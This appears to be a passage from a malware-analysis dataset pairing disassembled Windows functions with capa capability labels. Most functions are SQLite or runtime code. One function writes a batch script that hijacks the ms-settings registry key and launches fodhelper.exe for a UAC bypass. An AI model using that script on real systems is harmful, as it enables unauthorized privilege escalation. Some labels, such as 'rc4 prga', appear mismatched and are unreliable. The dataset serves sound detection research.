joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c1960
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rdi
push r14
sub rsp, 0x68
movzx eax, byte [rdx]
mov r14, rdx
mov rdi, rcx
cmp al, 0xb0
jne 0x1400c1979
movzx eax, byte [rdx + 2]
cmp al, 0xb1
jne 0x1400c1983
mov rcx, qword [rdx + 0x20]
jmp 0x1400c1993
cmp al, 0x8a
jne 0x1400c1b17
mov rax, qword [rdx + 0x20]
mov rcx, qword [rax + 0x20]
movsxd rcx, dword [rcx]
cmp ecx, 1
je 0x1400c1b17
mov dword [r8], 0
cmp byte [rdx], 0x8a
jne 0x1400c19ba
mov rcx, rdi
add rsp, 0x68
pop r14
pop rdi
jmp fcn.1401350b0
mov eax, dword [rdi + 0x38]
mov qword [rsp + 0x60], r12
mov r12, rcx
mov qword [rsp + 0x58], r13
lea r13d, [rax + 1]
add eax, ecx
mov dword [rsp + 0x88], r13d
mov dword [rdi + 0x38], eax
test ecx, ecx
jle 0x1400c1b02
mov qword [rsp + 0x80], rbx
lea rcx, [0x1401728a0]
mov qword [rsp + 0x90], rbp
mov ebp, r13d
mov qword [rsp + 0x50], r15
lea r13, [fcn.1400c2d20]
xor r15d, r15d
mov qword [rsp + 0x98], rsi
lea edx, [r15 + 2]
nop dword [rax + rax]
cmp byte [rdi + 0x23], 0
mov rax, qword [r14 + 0x20]
mov rbx, qword [r15 + rax + 8]
je 0x1400c1a70
mov word [rsp + 0x44], dx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x48], 0
test rbx, rbx
je 0x1400c1a60
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1401a2110
cmp word [rsp + 0x44], 0
je 0x1400c1a70
mov r8d, ebp
mov rdx, rbx
mov rcx, rdi
call fcn.14013e6b0
jmp 0x1400c1ab0
mov rsi, qword [rdi]
test rbx, rbx
je 0x1400c1a8c
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.1400c1df0
mov rbx, rax
cmp byte [rsi + 0x67], 0
jne 0x1400c1aa0
mov r8d, ebp
mov rdx, rbx
mov rcx, rdi
call fcn.14013cbd0
test rbx, rbx
je 0x1400c1ab0
mov rdx, rbx
mov rcx, rsi
call fcn.140140af0
inc ebp
lea rcx, [0x1401728a0]
add r15, 0x20
mov edx, 2
sub r12, 1
jne 0x1400c1a20
mov r15, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x80]
mov eax, dword [rsp + 0x88]
mov r12, qword [rsp + 0x60]
mov r13, qword [rsp + 0x58]
add rsp, 0x68
pop r14
pop rdi
ret
mov r12, qword [rsp + 0x60]
mov eax, r13d
mov r13, qword [rsp + 0x58]
add rsp, 0x68
pop r14
pop rdi
ret
mov rcx, rdi
add rsp, 0x68
pop r14
pop rdi
jmp fcn.140140180
Function at 0x14011f610
Capabilities:
Reference sql statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov r14d, dword [rsp + 0x70]
mov ebx, r8d
mov dword [rax - 0x18], r14d
mov rbp, r9
mov qword [rax - 0x20], r9
mov rdi, rdx
mov r9, rdx
mov byte [rcx + 0x1c], 1
mov r8, rdx
mov dword [rax - 0x28], ebx
lea rdx, str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
mov rsi, rcx
call fcn.140161410
test ebx, ebx
jne 0x14011f679
mov r9, rbp
mov dword [rsp + 0x20], r14d
mov r8, rdi
lea rdx, str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
mov rcx, rsi
call fcn.140161410
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140122ce0
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
push r12
push r15
sub rsp, 0x20
xor edi, edi
mov r12, r8
mov r15, rdx
mov rbx, rcx
cmp dword [rcx + 0x40], edi
jne 0x140122d1c
cmp qword [rcx + 0x20], rdi
jne 0x140122d1c
mov r9, qword [rcx + 0x10]
lea rdx, str.SELECT_data_FROM__Q._q_node_WHERE_nodeno_
mov r8, qword [rcx + 8]
call fcn.140123310
mov qword [rbx + 0x20], rax
cmp dword [rbx + 0x40], edi
jne 0x140122e6a
mov rcx, qword [rbx + 0x20]
mov r8, r15
mov edx, 1
call fcn.1400a8b20
mov rcx, qword [rbx + 0x20]
call fcn.1400aa1c0
cmp eax, 0x64
jne 0x140122e3a
mov rcx, qword [rbx + 0x20]
xor edx, edx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x40], rbp
call fcn.1400aac90
mov rsi, qword [rbx + 0x20]
movsxd r14, eax
test rsi, rsi
jne 0x140122d7f
lea rcx, [0x1401d0628]
call fcn.14007f540
mov rbp, rax
jmp 0x140122df7
mov rax, qword [rsi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140122d91
call qword [0x14020e130]
mov rcx, qword [rsi + 0xa0]
test rcx, rcx
je 0x140122da6
cmp di, word [rsi + 0xc0]
jb 0x140122dc1
mov rcx, qword [rsi]
mov edx, 0x19
mov dword [rcx + 0x50], 0x19
call fcn.14013b9d0
lea rcx, [0x1401d0628]
call fcn.14007f540
mov rcx, qword [rsi]
mov rbp, rax
mov edx, dword [rsi + 0x34]
cmp byte [rcx + 0x67], dil
jne 0x140122ddd
test edx, edx
jne 0x140122ddd
mov eax, edi
jmp 0x140122de2
call fcn.1400b0200
mov dword [rsi + 0x34], eax
mov rax, qword [rsi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140122df7
call qword [0x14020e140]
call fcn.140195a20
test eax, eax
jne 0x140122e10
mov rcx, r14
call fcn.140160ac0
mov rdi, rax
test rax, rax
jne 0x140122e19
mov dword [rbx + 0x40], 7
jmp 0x140122e2b
mov r8, r14
mov rdx, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov dword [r12], r14d
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x50]
mov rcx, qword [rbx + 0x20]
call fcn.14007eec0
mov ecx, dword [rbx + 0x40]
test ecx, ecx
jne 0x140122e6a
mov dword [rbx + 0x40], eax
mov ecx, eax
test eax, eax
jne 0x140122e6a
test rdi, rdi
jne 0x140122e6a
mov r8, r15
lea rdx, str.Node__lld_missing_from_database
mov rcx, rbx
call fcn.140122c60
mov rbx, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x20
pop r15
pop r12
pop rdi
ret
Function at 0x140122e80
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
lea rax, str.SELECT_parentnode_FROM__Q._q_parent_WHERE_nodeno_1
movsxd r15, edx
mov rdi, qword [rcx + r15*8 + 0x28]
lea r14, [rcx + r15*8]
mov qword [rsp + 0x40], rax
lea rax, str.SELECT_nodeno_FROM__Q._q_rowid_WHERE_rowid_1
mov qword [rsp + 0x48], rax
mov rbp, r9
mov rsi, r8
mov rbx, rcx
test rdi, rdi
jne 0x140122ee3
mov r9, qword [rcx + 0x10]
mov r8, qword [rcx + 8]
mov rdx, qword [rsp + r15*8 + 0x40]
call fcn.140123310
mov rdi, rax
mov qword [r14 + 0x28], rax
cmp dword [rbx + 0x40], 0
jne 0x140122f99
mov r8, rsi
mov edx, 1
mov rcx, rdi
call fcn.1400a8b20
mov rcx, rdi
call fcn.1400aa1c0
cmp eax, 0x65
jne 0x140122f3b
test r15d, r15d
lea rcx, str.__rowid
lea rax, str.__parent
mov r9, rbp
cmovne rax, rcx
lea rdx, str.Mapping___lld_____lld__missing_from__s_table
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov r8, rsi
call fcn.140122c60
jmp 0x140122f88
cmp eax, 0x64
jne 0x140122f88
xor edx, edx
mov rcx, rdi
call fcn.1400aa8f0
mov r9, rax
cmp rax, rbp
je 0x140122f88
test r15d, r15d
mov qword [rsp + 0x30], rbp
lea rcx, str.__rowid
mov qword [rsp + 0x28], rsi
lea rax, str.__parent
mov r8, rsi
cmovne rax, rcx
lea rdx, str.Found___lld_____lld__in__s_table__expected___lld_____lld_
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140122c60
mov rcx, rdi
call fcn.14007eec0
cmp dword [rbx + 0x40], 0
jne 0x140122f99
mov dword [rbx + 0x40], eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
Function at 0x1401433d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x28
xor r11d, r11d
mov rdi, r8
mov ebx, r11d
mov r14, rdx
mov rsi, rcx
cmp dword [rcx + 0x28], ebx
jle 0x1401434d9
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r12
lea r12, [0x1401d5500]
mov qword [rsp + 0x20], r15
lea r15, [0x1401cf710]
nop
mov rax, qword [rsi + 0x20]
mov r10d, ebx
xor r10d, 1
cmp ebx, 2
cmovge r10d, ebx
movsxd rcx, r10d
shl rcx, 5
mov rbp, qword [rcx + rax + 0x18]
test rdi, rdi
je 0x140143451
mov r8, qword [rcx + rax]
mov r9, rdi
sub r9, r8
nop dword [rax]
movzx ecx, byte [r8]
movzx eax, byte [r9 + r8]
cmp ecx, eax
jne 0x14014348c
test ecx, ecx
jne 0x14014349a
lea rcx, [rbp + 0x20]
xor r8d, r8d
mov rdx, r14
call fcn.1400c41c0
mov r11, qword [rax + 0x10]
test r11, r11
jne 0x140143470
inc ebx
cmp ebx, dword [rsi + 0x28]
jl 0x140143410
mov r12, qword [rsp + 0x60]
mov rax, r11
mov rbp, qword [rsp + 0x58]
mov r15, qword [rsp + 0x20]
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
movzx edx, byte [rax + r15]
movzx ecx, byte [rcx + r15]
cmp ecx, edx
jne 0x14014349f
inc r8
jmp 0x140143440
test r10d, r10d
jne 0x140143469
mov r9, rdi
mov rax, r12
sub r9, r12
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [r9 + rax]
cmp edx, ecx
jne 0x1401434c5
test edx, edx
je 0x140143451
inc rax
jmp 0x1401434b0
movzx r8d, byte [rcx + r15]
movzx edx, byte [rdx + r15]
cmp edx, r8d
jne 0x140143469
inc rax
jmp 0x1401434b0
mov rax, r11
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x1401552b0
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r14, qword [rcx]
lea rbp, [rcx + 0x68]
xor ebx, ebx
mov r13, r8
mov r15, rcx
mov esi, ebx
mov r12d, dword [r14 + 0x18]
cmp qword [rbp], rbx
jne 0x1401553a2
mov r8, qword [r14 + 0x10]
lea rcx, str.SELECT_sz_FROM__Q._q_docsize_WHERE_id_
mov rdx, qword [r14 + 8]
call fcn.1400a6650
mov rdi, rax
test rax, rax
jne 0x140155314
lea esi, [rbx + 7]
jmp 0x1401553a2
mov rax, qword [r15]
mov r9d, 0x85
mov qword [rsp + 0x30], rbx
mov r8d, 0xffffffff
mov qword [rsp + 0x28], rbp
mov rdx, rdi
mov qword [rsp + 0x20], rbx
inc dword [rax + 0x78]
mov rcx, qword [r14]
call fcn.1401605a0
mov esi, eax
mov rax, qword [r15]
dec dword [rax + 0x78]
cmp dword [0x14020e0b0], ebx
je 0x140155399
mov rcx, qword [0x1402136d0]
test rcx, rcx
je 0x140155362
call qword [0x14020e130]
mov rcx, rdi
call qword [0x14020e0e8]
dec qword [0x140213658]
movsxd rcx, eax
sub qword [0x140213610], rcx
mov rcx, rdi
call qword [0x14020e0d8]
mov rcx, qword [0x1402136d0]
test rcx, rcx
je 0x1401553a2
call qword [0x14020e140]
jmp 0x1401553a2
mov rcx, rdi
call qword [0x14020e0d8]
mov rdi, qword [rbp]
mov rcx, rdi
call fcn.14007eec0
test rdi, rdi
je 0x1401554ac
mov r8, qword [rsp + 0x78]
mov edx, 1
mov rcx, rdi
call fcn.1400a8b20
mov rcx, rdi
call fcn.1400aa1c0
cmp eax, 0x64
jne 0x140155498
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x1401553ec
call qword [0x14020e130]
mov rcx, qword [rdi + 0xa0]
test rcx, rcx
je 0x140155401
cmp bx, word [rdi + 0xc0]
jb 0x14015541c
mov rcx, qword [rdi]
mov edx, 0x19
mov dword [rcx + 0x50], 0x19
call fcn.14013b9d0
lea rcx, [0x1401d0628]
call fcn.14007f540
mov rcx, qword [rdi]
mov r14, rax
mov edx, dword [rdi + 0x34]
cmp byte [rcx + 0x67], bl
jne 0x140155437
test edx, edx
jne 0x140155437
mov eax, ebx
jmp 0x14015543c
call fcn.1400b0200
mov dword [rdi + 0x34], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140155451
call qword [0x14020e140]
xor edx, edx
mov rcx, rdi
call fcn.1400aac90
mov ebp, eax
mov esi, ebx
test r12d, r12d
jle 0x14015548a
cmp ebx, ebp
jge 0x140155498
movsxd rcx, esi
lea rdx, [rcx*4]
movsxd rcx, ebx
add rcx, r14
add rdx, r13
call fcn.140150110
add ebx, eax
inc esi
cmp esi, r12d
jl 0x140155464
cmp ebx, ebp
jne 0x140155498
mov rcx, rdi
call fcn.14007eec0
jmp 0x1401554ae
mov rcx, rdi
call fcn.14007eec0
test eax, eax
mov ecx, 0x10b
cmove eax, ecx
jmp 0x1401554ae
mov eax, esi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140156eb0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x20
mov r15, qword [rsp + 0x70]
xor r13d, r13d
movsxd rdi, r9d
mov rsi, r8
mov r14d, edx
mov r8, rcx
mov r10d, edx
mov dword [r15], r13d
test rcx, rcx
je 0x140156ff3
lea eax, [rdi - 1]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], r12
lea r9d, [r13 + 0xd]
movsxd rdx, eax
test eax, eax
js 0x140156f17
nop dword [rax + rax]
movsx ecx, byte [rsi + rdx]
lea eax, [r9*8]
xor ecx, eax
xor r9d, ecx
sub rdx, 1
jns 0x140156f00
lea ecx, [r9*8]
mov eax, r9d
xor rcx, r10
xor rcx, rax
and ecx, 0x1ff
mov rbx, qword [r8 + rcx*8]
lea r12, [r8 + rcx*8]
test rbx, rbx
je 0x140156f66
nop dword [rax + rax]
cmp dword [rbx + 0xc], r14d
jne 0x140156f5d
cmp dword [rbx + 8], edi
jne 0x140156f5d
mov rcx, qword [rbx]
mov r8, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140156fd9
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140156f40
mov qword [rsp + 0x58], rbp
lea rbp, [rdi + 0x18]
call fcn.140195a20
test eax, eax
jne 0x140156fe5
mov rcx, rbp
call fcn.140160ac0
mov rbx, rax
test rax, rax
je 0x140156fe5
mov r8, rbp
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbx + 0x18]
mov dword [rbx + 8], edi
mov r8, rdi
mov qword [rbx], rcx
mov rdx, rsi
mov dword [rbx + 0xc], r14d
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [r12]
mov eax, r13d
mov qword [rbx + 0x10], rcx
mov qword [r12], rbx
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r12, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
mov dword [r15], 1
mov eax, r13d
jmp 0x140156fc2
test rbp, rbp
mov eax, 7
cmovle eax, r13d
jmp 0x140156fbd
mov eax, r13d
add rsp, 0x20
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret

Function at 0x1401575d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
sub rsp, 0x20
mov edi, edx
cmp ecx, 0x80
jge 0x1401575f2
lea edx, [rcx - 0x41]
cmp edx, 0x19
lea eax, [rcx + 0x20]
cmova eax, ecx
add rsp, 0x20
pop rdi
ret
cmp ecx, 0x10000
jge 0x1401576b7
xor r10d, r10d
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
mov r9d, 0xa2
mov r11d, r10d
lea rsi, [0x140000000]
lea ebx, [r10 - 1]
nop
lea eax, [r11 + r9]
mov r8d, ecx
cdq
sub eax, edx
sar eax, 1
movsxd rdx, eax
movzx edx, word [rsi + rdx*4 + 0x1ca170]
sub r8d, edx
mov edx, eax
cmovs edx, ebx
test r8d, r8d
movsxd rbx, edx
lea edx, [rax + 1]
cmovs edx, r11d
dec eax
test r8d, r8d
mov r11d, edx
cmovs r9d, eax
cmp r9d, edx
jge 0x140157620
lea r8, [rbx*4 + 0x1ca170]
mov rbx, qword [rsp + 0x30]
movzx edx, word [r8 + rsi]
movzx eax, byte [r8 + rsi + 3]
add eax, edx
cmp ecx, eax
jge 0x14015769a
movzx eax, byte [r8 + rsi + 2]
xor edx, ecx
and edx, eax
test dl, 1
jne 0x14015769a
shr rax, 1
movzx eax, word [rsi + rax*2 + 0x1ca400]
add eax, ecx
movzx ecx, ax
mov rsi, qword [rsp + 0x38]
test edi, edi
je 0x1401576c5
cmp edi, 2
sete r10b
mov edx, r10d
add rsp, 0x20
pop rdi
jmp fcn.140103ee0
lea eax, [rcx - 0x10400]
cmp eax, 0x27
lea eax, [rcx + 0x28]
jbe 0x1401576c7
mov eax, ecx
add rsp, 0x20
pop rdi
ret
Function at 0x14019d9e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov qword [rcx], 0
mov ecx, 0x28
mov rbp, r8
mov r15, rdx
call fcn.140160ac0
mov rbx, rax
test rax, rax
jne 0x14019da22
lea eax, [rbx + 7]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
cmp byte [0x14020e0b4], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
je 0x14019da87
mov rax, qword [0x14020e240]
test rax, rax
je 0x14019da4c
mov ecx, 0xc8
call rax
test eax, eax
jne 0x14019da87
lea rsi, [rbx + 8]
mov qword [rbx + 0x10], r15
lea rdi, [rbx + 0x10]
mov qword [rsp + 0x28], rsi
mov r9, rbx
mov dword [rsp + 0x20], 0
lea r8, [0x140175220]
mov qword [rbx + 0x18], rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
jne 0x14019da9f
jmp 0x14019da8f
lea rdi, [rbx + 0x10]
lea rsi, [rbx + 8]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov qword [rbx + 0x20], rax
cmp qword [rdi], 0
mov rdi, qword [rsp + 0x58]
jne 0x14019dabc
call qword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov rcx, rbp
mov dword [rsi], eax
call r15
mov qword [rbx + 0x20], rax
mov rsi, qword [rsp + 0x50]
xor eax, eax
mov qword [r14], rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
Function at 0x1401b4058
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1401b40a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401b40a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401b40a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401b40a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1401b40a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401b40a4
xor al, al
add rsp, 0x28
ret

Function at 0x1401b71c0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x1401b7221
mov rdi, rax
lea rdx, [0x1401c3ca6]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1401b7221
mov rsi, rax
lea rdx, [0x1401c3cb4]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1401b7221
mov rdi, rax
xor ebx, ebx
jmp 0x1401b72a7
lea rcx, [0x1401c3c40]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x1401b731f
mov rsi, rax
lea rdx, [0x1401c3c4a]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1401b731f
mov rdi, rax
lea rdx, [0x1401c3c5d]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1401b731f
mov rbx, rax
lea rdx, [0x1401c3c71]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1401b731f
mov rsi, rax
lea rcx, [rbp - 0x40]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rdi
test eax, eax
jne 0x1401b731f
mov rdi, qword [rbp - 0x40]
movzx eax, byte [0x140213501]
mov ecx, 0x18
mov edx, 8
call fcn.140031db0
test rax, rax
je 0x1401b7354
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
xor eax, eax
lock cmpxchg qword [0x140213518], rcx
je 0x1401b7313
mov rsi, rax
cmp qword [rcx], 0
mov qword [rbp - 8], rcx
je 0x1401b72fc
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp - 8]
call fcn.140031dc0
mov rcx, rsi
mov rax, rcx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rax, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8_
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rax, [0x1401c3c40]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.C:Usersklns.cargo_registry_srcindex.crates.io_6f17d22bba15001fparking_lot_core_0.9.10_src_thread_parkerwindowsmod.rs
lea rcx, [rbp - 0x40]
call fcn.1401b8a80
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
mov ecx, 8
mov edx, 0x18
call fcn.1401b8890
ud2
Function at 0x140002870
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 0xf
mov dword [rsp + 0x40], ebp
jbe 0x1400028a1
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x14000293d
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000290f
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000290a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400029d9
mov rcx, r8
call fcn.140004754
mov al, 1
mov byte [rdi], bpl
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rbp
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400046f0
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x14000297d
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002979
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140002974
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400029d9
mov rcx, r8
call fcn.140004754
xor al, al
jmp 0x140002911
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 0x285
mov qword [rsp + 0x20], rbp
lea rdx, str._echo_off_r_n_r_nREM_Create_registry_keys_r_nreg_add__HKCUSoftwareClassesms_settings_shellopencommand___v__DelegateExecute___t_REG_SZ__d_____f__nul_2_1_r_nreg_add__HKCUSoftwareClassesms_settings_shellopencommand___v_____t_REG_SZ__d__C:windowsSystem32cmd.exe__C__1___f__nul_2_1_r_n_r_nREM_Run_the_executable_with_elevated_privileges_r_nstart_____C:windows_system32_fodhelper.exe__r_n_r_nREM_Wait_for_a_second_r_ntimeout__t_1__nul_r_n_r_nREM_Delete_the_registry_keys_r_nreg_delete__HKCUSoftwareClassesms_settingsShellOpencommand___v_____f__nul_2_1_r_nreg_delete__HKCUSoftwareClassesms_settingsShellOpencommand___v__DelegateExecute___f__nul_2_1_r_n
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x1400029c6
cmp rax, 0xf
jbe 0x140002979
lea rdx, [rax + 1]
jmp 0x140002950
cmp rax, 0xf
jbe 0x14000290f
lea rdx, [rax + 1]
jmp 0x1400028e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400029e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 0xf
mov dword [rsp + 0x40], ebp
jbe 0x140002a11
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140002aad
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002a7f
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140002a7a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002b49
mov rcx, r8
call fcn.140004754
mov al, 1
mov byte [rdi], bpl
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rbp
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400046f0
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x140002aed
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002ae9
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140002ae4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002b49
mov rcx, r8
call fcn.140004754
xor al, al
jmp 0x140002a81
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 2
mov qword [rsp + 0x20], rbp
lea rdx, [0x140006774]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x140002b36
cmp rax, 0xf
jbe 0x140002ae9
lea rdx, [rax + 1]
